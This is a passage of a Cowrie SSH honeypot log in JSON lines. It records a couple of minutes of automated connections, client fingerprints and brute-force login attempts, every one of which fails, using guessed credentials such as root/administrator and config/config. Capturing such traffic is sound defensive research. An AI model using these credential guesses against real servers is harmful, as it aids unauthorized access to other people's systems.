hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:17:43.840478Z","src_ip":"37.233.85.71","session":"d329dc83df87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"administrator","message":"login attempt [root/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:17:44.173083Z","src_ip":"37.233.85.71","session":"d329dc83df87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":36692,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f79da660c77","protocol":"ssh","message":"New connection: 80.94.92.186:36692 (159.203.135.109:22) [session: 0f79da660c77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:17:44.986188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:17:45.281518Z","src_ip":"80.94.92.186","session":"0f79da660c77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:17:45.285173Z","src_ip":"80.94.92.186","session":"0f79da660c77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:17:45.290819Z","src_ip":"37.233.85.71","session":"d329dc83df87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:17:46.748296Z","src_ip":"80.94.92.186","session":"0f79da660c77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:17:47.985314Z","src_ip":"80.94.92.186","session":"0f79da660c77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":58636,"dst_ip":"159.203.135.109","dst_port":22,"session":"0da1726b9d79","protocol":"ssh","message":"New connection: 80.66.85.226:58636 (159.203.135.109:22) [session: 0da1726b9d79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:17:48.404312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:17:48.409166Z","src_ip":"80.66.85.226","session":"0da1726b9d79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:17:48.504276Z","src_ip":"80.66.85.226","session":"0da1726b9d79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rkfdbfnehf","message":"login attempt [root/rkfdbfnehf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:17:48.789094Z","src_ip":"80.66.85.226","session":"0da1726b9d79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:17:49.881228Z","src_ip":"80.66.85.226","session":"0da1726b9d79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":46954,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c4d364f6e82","protocol":"ssh","message":"New connection: 109.172.54.111:46954 (159.203.135.109:22) [session: 4c4d364f6e82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:17:57.678876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:17:57.685154Z","src_ip":"109.172.54.111","session":"4c4d364f6e82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:17:57.781665Z","src_ip":"109.172.54.111","session":"4c4d364f6e82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fhntvrf","message":"login attempt [root/fhntvrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:17:58.067664Z","src_ip":"109.172.54.111","session":"4c4d364f6e82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:17:59.165175Z","src_ip":"109.172.54.111","session":"4c4d364f6e82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":40882,"dst_ip":"10.17.0.5","dst_port":22,"session":"1cbebeda1eaa","protocol":"ssh","message":"New connection: 103.195.236.96:40882 (10.17.0.5:22) [session: 1cbebeda1eaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:18:04.162179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:18:04.167585Z","src_ip":"103.195.236.96","session":"1cbebeda1eaa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:18:04.414977Z","src_ip":"103.195.236.96","session":"1cbebeda1eaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"overlord","message":"login attempt [root/overlord] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:18:05.142902Z","src_ip":"103.195.236.96","session":"1cbebeda1eaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.17.27","src_port":33764,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a16e1159075","protocol":"ssh","message":"New connection: 43.156.17.27:33764 (159.203.135.109:22) [session: 6a16e1159075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:18:06.145432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:18:06.151325Z","src_ip":"43.156.17.27","session":"6a16e1159075","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:18:06.383366Z","src_ip":"43.156.17.27","session":"6a16e1159075","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:18:06.392532Z","src_ip":"103.195.236.96","session":"1cbebeda1eaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ozzy","password":"ozzy","message":"login attempt [ozzy/ozzy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:18:07.339718Z","src_ip":"43.156.17.27","session":"6a16e1159075","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:18:08.575012Z","src_ip":"43.156.17.27","session":"6a16e1159075","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.227.158","src_port":18938,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffe1fca27b26","protocol":"ssh","message":"New connection: 165.154.227.158:18938 (159.203.135.109:22) [session: ffe1fca27b26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:18:26.328222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:18:26.333090Z","src_ip":"165.154.227.158","session":"ffe1fca27b26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:18:26.580088Z","src_ip":"165.154.227.158","session":"ffe1fca27b26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"config","password":"config","message":"login attempt [config/config] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:18:27.491758Z","src_ip":"165.154.227.158","session":"ffe1fca27b26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:18:28.716138Z","src_ip":"165.154.227.158","session":"ffe1fca27b26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.115.61","src_port":50936,"dst_ip":"10.17.0.5","dst_port":22,"session":"278d0c3f3895","protocol":"ssh","message":"New connection: 170.106.115.61:50936 (10.17.0.5:22) [session: 278d0c3f3895]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:18:41.194172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:18:41.199300Z","src_ip":"170.106.115.61","session":"278d0c3f3895","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:18:41.269171Z","src_ip":"170.106.115.61","session":"278d0c3f3895","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a12345678.","message":"login attempt [root/a12345678.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:18:41.580334Z","src_ip":"170.106.115.61","session":"278d0c3f3895","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:18:42.653479Z","src_ip":"170.106.115.61","session":"278d0c3f3895","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":47126,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb65d3c81490","protocol":"ssh","message":"New connection: 103.173.227.57:47126 (10.17.0.5:22) [session: bb65d3c81490]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:18:48.349377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:18:48.354705Z","src_ip":"103.173.227.57","session":"bb65d3c81490","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:18:48.590366Z","src_ip":"103.173.227.57","session":"bb65d3c81490","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazse4","message":"login attempt [root/1qazse4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:18:49.300059Z","src_ip":"103.173.227.57","session":"bb65d3c81490","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:18:50.537919Z","src_ip":"103.173.227.57","session":"bb65d3c81490","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":55710,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b861d536200","protocol":"ssh","message":"New connection: 103.122.221.179:55710 (10.17.0.5:22) [session: 5b861d536200]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:19:09.580642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:19:09.586270Z","src_ip":"103.122.221.179","session":"5b861d536200","protocol":"ssh"}
